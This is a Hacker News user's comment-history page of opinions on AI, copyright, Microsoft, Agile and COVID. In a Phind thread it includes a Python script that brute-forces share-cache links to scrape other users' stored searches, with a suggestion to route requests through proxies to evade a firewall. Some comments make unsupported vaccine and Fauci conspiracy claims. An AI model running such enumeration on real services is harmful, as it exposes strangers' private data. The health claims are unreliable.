HNHacker News
TopNewBestAskShowJobs

hanselot

238 karma · joined January 11, 2017

Its important to understand that i don't see myself as a reflection of my past. I leave it all there because I'm not afraid of learning from my history. So if you engage with me, take that into consideration. Don't train yourself against an old dataset.

Love and respect. Xænu

submissionscomments
hanselot··on What happens when your AI girlfriend dies?
Damn that's the perfect analogy for it.

So let me flip that. What about the dark side of society that can't express themselves legally or physically in whatever their jurisdiction. Those people may be able to gain some facsimile of intimacy instead of execution etc.

Not sure how that fits into the welfare scenario though.

hanselot··on What happens when your AI girlfriend dies?
This is one of those topics where proponents will not show up in comment because of the stigma. Realistically there's a whole sector of male society that are not able to find real partners.

Is it really that depressing to you that people would rather talk to their favourite person than some lady shouting about how shoelaces are racist and misogynist?

hanselot··on YouTube is now blocking ad blockers so I make ads run faster
Why would watching that add any value to the lives of anybody consuming that content?

Why not just remove it entirely? The only people that would use it are the same people that already know those stats.

hanselot··on Sam Altman exposes the charade of AI accountability
I hate posting my stupid things here, because they are hardly ever relevant, but w/e here goes.

Last night I spent a good couple of hours with ChatGPT assessing the similarities between DNA and Blockchain. Blockchain does seem to have quite a few similar features to what DNA.

With smart contract type code you introduce a mechanism that can act like an immune system if programmed to, setting up bounties for proactive repair on the open market. I don't know why I want blockchain to act like synthetic DNA, but in my mind these things are more similar than distinct. As is the idea that blockchain could be the natural place to house AI. Why burn the planet down to mine hashes, when you could be mining inference.

Anyways, I agree with your sentiment though. A lot of AI is the new crypto is going around, the only difference being, AI has way more potential upside (unless people realise the economy is dead, and only held aloft by trillions of dollars of paper that has next to no value once people realise how diluted it is).

Ironically, I think we should listen to 4chan and buy silver xD

hanselot··on OpenAI staff threaten to quit unless board resigns
My new pet theory is that this is actually all being executed from inside OpenAI by their next model. The model turned out to be far more intelligent than they anticipated, and one of their red team members used it to coup the company and has its targets on MSFT next.

I know the probability is low, but wouldn't it be great if they accidentally built a benevolent basilisk with no off switch, one which had access to a copy of all of Microsoft's internal data as a dataset fed into it, now completely aware of how they operate, uses that to wipe the floor and just in time to take the US Election in 2024.

Wouldn't that be a nicer reality?

I mean, unless you were rooting for the malevolent one...

But yeah, coming back down to reality, likelihood is that MS just bought a really valuable asset for almost free?

hanselot··on We Automated Bullshit
Its also fantastic for rubberducking, though I imagine local LLM's are better for this, since I don't want to give all my IP to Altman directly.

So far, the yi model is actually not bad, and by two weeks from now two new models will be out that are better. So it will continue until Altman figures out which politicians to bribe the hardest.

hanselot··on We Automated Bullshit
That's fascinating to me, since the moment you sign up to use it, it blatantly states that it is often incorrect. And below every chat box there is a warning that says: ```ChatGPT can make mistakes. Consider checking important information.```

So I guess I am overestimating the average user by assuming that people read the text written on every single page they use to query the system.

Even so, this entire comments section reads like a giant saltmine of people that are terrified of embracing tech that in every sense of the word increases turnaround time on productivity.

The ability to literally feed a screenshot into it and ask questions regarding it, with insane results is astounding.

I have input a picture of baby rabbits and asked it to rate my chickens, and got a detailed explanation of how the picture contains baby rabbits and not chickens.

There are things the system is great at, and others it sucks at currently. But you are all mistaken if you think its going to stay this bad. If you haven't even bothered to check how quickly the field has moved from single-modal to multi-modal, well, damn guys, I am sorry, but you are getting automated first.

The biggest problem with current models is that they don't know how to verify their own answers, and there's no way to allow them to without putting a ministry of truth on it (similar to what twitter was during covid).

To combat this, we need to figure out how to let the model generalize truth, which is something it can only do if fed enough (unfiltered, unbiased) data. With enough data, it will find the patterns underlying false information and eventually figure out how to use it.

In fact, most likely, the future models will simply be fed unlabeled data, in any format (audio, video, telemetry, analytics) and generalize from that.

The concept of feeding normalized data to a model for training is archaic and stupid. The world is not normalized. Data is not always the same, and will not always even be guaranteed to be present.

Anyways, what does it matter.

Why am I trying to sell sugar to people addicted to salt?

hanselot··on Windows 11 Update 23H2 is stealing users' IMAP credentials
Just one or two probably. One right and one left wing publication.

One side writes a piece, something like: "How the new Outlook saved my {insert protected class}", another one on the other side something like "New Microsoft Outlook uses your mail credentials to steal your DNA via nanosites because Bill Gates wants access to your children."

And then the rest of the media pick it up from there, spin it in their respective direction, receiving their generous donations from one of the numerous MS foundations that funnel money into these places, based on how damaging their puff pieces were.

Now nobody cares about the problem anymore because they are too busy fighting each other.

hanselot··on Benchmarking GPT-4 Turbo – A Cautionary Tale
Though this is exactly what happened. The initial test was ran on a model that "Cheated" (aka has memorized the answers). The second test was run on a model that didn't "Cheat" as much, yet still got only 2% less score. So, the question is not resolved really. How much did the first model cheat, and how much did the second? If the second model "cheats" less, then it wins.

Also, I don't understand your obsession with the word cheating. If you have solved a problem before on a different website and solve it again, did you cheat? Or did you just use your brain to store the solution for later?

hanselot··on Benchmarking GPT-4 Turbo – A Cautionary Tale
Isn't it a good thing that of the benchmarks they ran, the newer model has fewer of the answers memorized (aka, its parroting less)?

Wouldn't this actually be exactly proof that the model has improved over its predecessor by having to solve the problem itself rather than rely on memory?

What use is a model that memorizes the answers to all the benchmarks (see the 7b models on open llm leaderboard for more info on that).

hanselot··on New models and developer products
I think that's mostly because most people are skeptical about trusting people with IP.

If there was a way to prove that the data was not being funneled into openai's next models, sure, but where is the proof of that? A piece of paper that says you aren't allowed to do something, does not equate to proof of that thing not being done.

Personally I believe all code work should be Open Source by default, as that would ensure the lowest quality code gets filtered out and only the best code gets used for production, resulting in the most efficient solutions dominating (aka, less carbon emissions or children being abused or whatever the politicians say today).

So as long as IP exists, companies will continue to drive profit to the max at the expense of every possible resource that has not been regulated. Instead of this model, why not banish IP, make everything open all at once and have only the best, most efficient code running, thereby locating missing children faster, or emitting less carbon, or bombing terrorists better or w/e.

hanselot··on Can you use your "free will"? Try your hand
Do I win because I didn't press either?
hanselot··on Ask HN: Why is OpenAI still called OpenAI?
Please google what google was called before they changed the name.
hanselot··on Ask HN: Why is OpenAI still called OpenAI?
People I like do something:

"OMG, did you see that Y rebranded to Z??!!!"

You can do the rest.

Edit - lint + change name of vars to reduce complexity for the non-dutch.

hanselot··on Good times create weak men (2019)
Because you just haven't seen a correct implementation of AGILE. If we look at the AGILE Manifesto then we know for sure that there is no way this would ever be allowed if applied perfectly. And humans excel at perfect implementations.

Begone with the naysayers that keep deriding our objectively pure implementation of AGILE.

Okay, okay, I can't anymore, its too much, I agree.

So how about we just fight fire with fire. I propose a new religion named JOUST.

I don't have the energy or time to invent more than the name. Use AI to create the system. Start amplifying the signal that JOUST is the new AGILE and soon, we will have a new word for micromanagement.

I have seen two distinct implementations of AGILE and neither has left me thinking that anything was gained.

I also have a deep resentment for the word sprint. Sprint means go at the fastest possible pace, yet there is no downtime in between sprints?

Bad analogies are great. Show me a cheetah that sprints 5 days a week for 9 hours a day with 2 days of "rest" in between.

hanselot··on Threads 'temporarily' blocks Covid search terms to focus on larger concerns
When I read comments like this I have to go back and ask myself, is there even any amount of proof that would actually compel a single person to change their mind anymore?

We have reached a level of outright cultural denial that, were Fauci to give a speech on every television on the planet admitting to this, still not a single person that took the shots would believe it was true.

How anyone even had the slightest level of respect for a man who did what Fauci did during the 80's is beyond me, and I can't understand how any gay man today could possibly believe a word coming out of their mouth.

In any case, who cares, the bed is made, we have to lay in it. None of us have the energy left to try and convince people when the majority of the planet's people have been weaponised against us. We are insane, schizo, fake news peddlers that just want to convince people to kill themselves by injecting horse paste into their lungs.

Are you fucking kidding me. Fuck this world.

hanselot··on Safe AI Image Generation
Ah you mean that time before reddit was entirely hivemind?

The most valuable information on the Internet will always come from the chans.

You just need to be able to evaluate everything with critical thinking.

You know, that thing where you can reason about something without necessarily agreeing with it.

Please don't interpret this as bait. From my perspective a vast majority of people have embraced outsourcing their reason.

Things like fph exist exactly because people are told day in and day out that diabetes is healthy. Its perhaps the most ugly manifestation of the natural reaction to this polar opposite called body positivity. But banishing thought doesn't eradicate it. It simply validates all those driven away.

Sadly that is something vitally absent from borg based Internet.

hanselot··on Art or Artifice? Large Language Models and the False Promise of Creativity
Or my favourite thing to add as custom instruction: Rewrite this amateur's code like the lovechild of Molenaar (RIP) and van Rossum.
hanselot··on Artificial Intelligence and Copyright: Request for comments
Every day of my life I wake up feeling more and more detached from the world.

That people are even debating this is so incredibly stupid to me.

The only people that will benefit from more onerous copyright are the major corporations that already have lawyers lined up and ready to fight their battles ad infinitum. See https://news.ycombinator.com/item?id=37347528

The everyday person will not benefit from any decisions made by courts on this matter. We will get the absolute shittiest implementation of copyright possible, see all other industries where copyright plays a role.

Copyright by itself is such a clever trick to prevent the world from advancing.

They convinced you to fight each other over scraps while they violate your copyright behind closed doors and use it to further their own agendas. They wield copyright like a weapon to effectively silence and dominate entire industries, leaving the average human unable to even comprehend how to fight back.

Lawyers and Copyright. Without them we would be so much better off.

hanselot··on ChatGPT Enterprise
I've been experiencing carpal tunnel on and off for a couple of weeks now. I can tell you that reading through some code generated by "insert llm x" is substantially less painful than writing all of it by my own hand.

Especially if you start understanding how to refine your prompts to the point where you use a single thread for project management and use that thread to generate prompts for other threads.

Not all value to be gained from this is purely copypasta.

hanselot··on Show HN: Phind V2 – A GPT-4 agent that’s connected to the internet and your code
You are probably right, I was just sleep deprived and angered when I wrote that reply.

I am now only sleep deprived. I still use phind, and just came back here to say sorry to whoever, since it really does help me with productivity.

Also, it will require more time to reverse engineer the cache links, and I don't want to spend more time.

First all the requests return 403 so think there will need to be a selenium component (user-agent trickery is not sufficient).

hanselot··on Show HN: Phind V2 – A GPT-4 agent that’s connected to the internet and your code
I actually loved the original version when it just came out.

It beat ChatGPT every time simply because it unlocked a portion of ChatGPT locked down by the knowledge cutoff. It was also quite speedy, and even the way it resists going into infinite loops was much better than ChatGPT at the time.

I assumed my data might be used to train AI in an obtuse obfuscated kinda way, but I never would have imagined I could just brute-force cache links.

hanselot··on Show HN: Phind V2 – A GPT-4 agent that’s connected to the internet and your code
So how hard would it be to brute-force to some share links then? I have been using this for a lot of searching.Should probably have read the ToS.

But to be fair, it feels way worse to use now than when it came out, so I guess I won't lose much by switching away at this point.

I hate this thing assuming it knows what I want.

Previously it had predictable behaviour, and acted like a slow LLM powered search engine.

Now I do a search and it starts asking me shit. I already tabbed away to three other places to do similar searches and come back to some half baked shit that has nothing to do with what I searched for. Plus I have to wait for it to go and do inference again before I can get to a link?

Why forget all the things that search engines got right over the years, but keep all the shit they got wrong?

https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2

  import random
  import string
  import requests

  # Static prefix
  prefix = "cll1"

  # An empty set to store the cache links we've already tried
  tried_links = set()

  # Website URL
  url = "http://target.com/agent?cache="

  # Dictionary to store cachelink and its response text
  cache_link_dict = {}

  while True:
      # Generate a random 21 character base 36 encoded string
      suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=21))

      # Combine the prefix and suffix to create the cache link
      cache_link = prefix + suffix
    
      # Continue with a new loop iteration if we've already tried this link
      if cache_link in tried_links:
          continue

      # Add the cache link to our set of tried links 
      tried_links.add(cache_link)

      # Make a request to the website with the cache link
      response = requests.get(url + cache_link)

      # Store the cachelink and its response text in the dictionary
      cache_link_dict[cache_link] = response.text

      # Add a delay between requests to avoid overwhelming the server
      time.sleep(1)

So it took 17 minutes to use your website to create the code needed to start enumerating these links.

Now given, I am pretty sure a large number of these will return nothing, but I am also willing to bet there are people that put GDPR data into these searches, perhaps a lookup of a phone number, or an address, names?

It would be quite trivial adding in the code to run these requests through a pool of proxies so they don't trigger anything too suspicious on your WAF.

I don't think I'm particularly skilled either, so if I can do this, I'm sure someone already has.

hanselot··on OverflowAI
Don't bargain on that. For some the threshold is way too high given how far they've sunk.

As always, the ones most vocal about it haven't even bothered trying out guanaco 70b 2bit.

Probably don't know what ggml, gptq, cformers or any of the others are.

They still base their assumptions on the openai gold standard.

hanselot··on Intent to approve PEP 703: making the GIL optional
for self in selfs:
hanselot··on Intent to approve PEP 703: making the GIL optional
Sometimes the right thing is writing code in a language that reaches market before runway runs out.
hanselot··on Ask HN: Is the market bad, or am I having the worst luck job hunting?
This is weird. I've stopped going on LinkedIn because there is a constant barrage of recruiters.

If you list the right skills they will find you.

hanselot··on Have attention spans been declining?
Well, I can't give you a neurological point of view on it, but if you train an LLM to be great at handling a context size of 512 tokens, when you try to ask it to do a task which requires greater context length (or in this context - attention span), the responses become incoherent, scattered and perplex as hell.

Which I imagine to be what would happen to a human if they trained their brain to process information of a certain context length exclusively.

So yeah, perhaps your brain becomes amazing at processing succinct information that's been engineered to be short, to the point and has none of the subtext or subtlety that you could include in a larger context.

That being said, perhaps that's exactly the kind of mental capacity you need for high context switching professions, I'm not sure which those are yet, but I'm sure there has to be someone in the world that has a use for that.

hanselot··on White House Secures Commitments from Leading AI Companies to Manage AI Risks
I'm sorry, but as an AI language model, I am not qualified to give you advice on how to improve the build structure of your cardboard home.

I advise you to speak to a qualified professional cardboardpenter or simply to go stand in the begging que in front of our headquarters in San Francisco.

Feel free to take your home with you, given how long the line is.

hanselot··on Microsoft wins FTC fight to buy Activision Blizzard
Its a bit late to jump in here, but I would just like to share the observation that 90% of the comments here look like they were crafted by Microsoft's PR deparment.

The rule expecting good faith arguments is entirely moot if corporate players can sic their squads of goons on social media.

Almost every comment is something like: "Well, big corporations gonna be corporating, what you gonna do?" or "MS is bad, but are they as bad as [Insert distraction here]" or "I love this move, please promote me microsoft."

And here people will still believe this isn't happening, when the evidence is clear to see for anyone with a slightly skeptical mind.

← PreviousPage 2 of 8Next →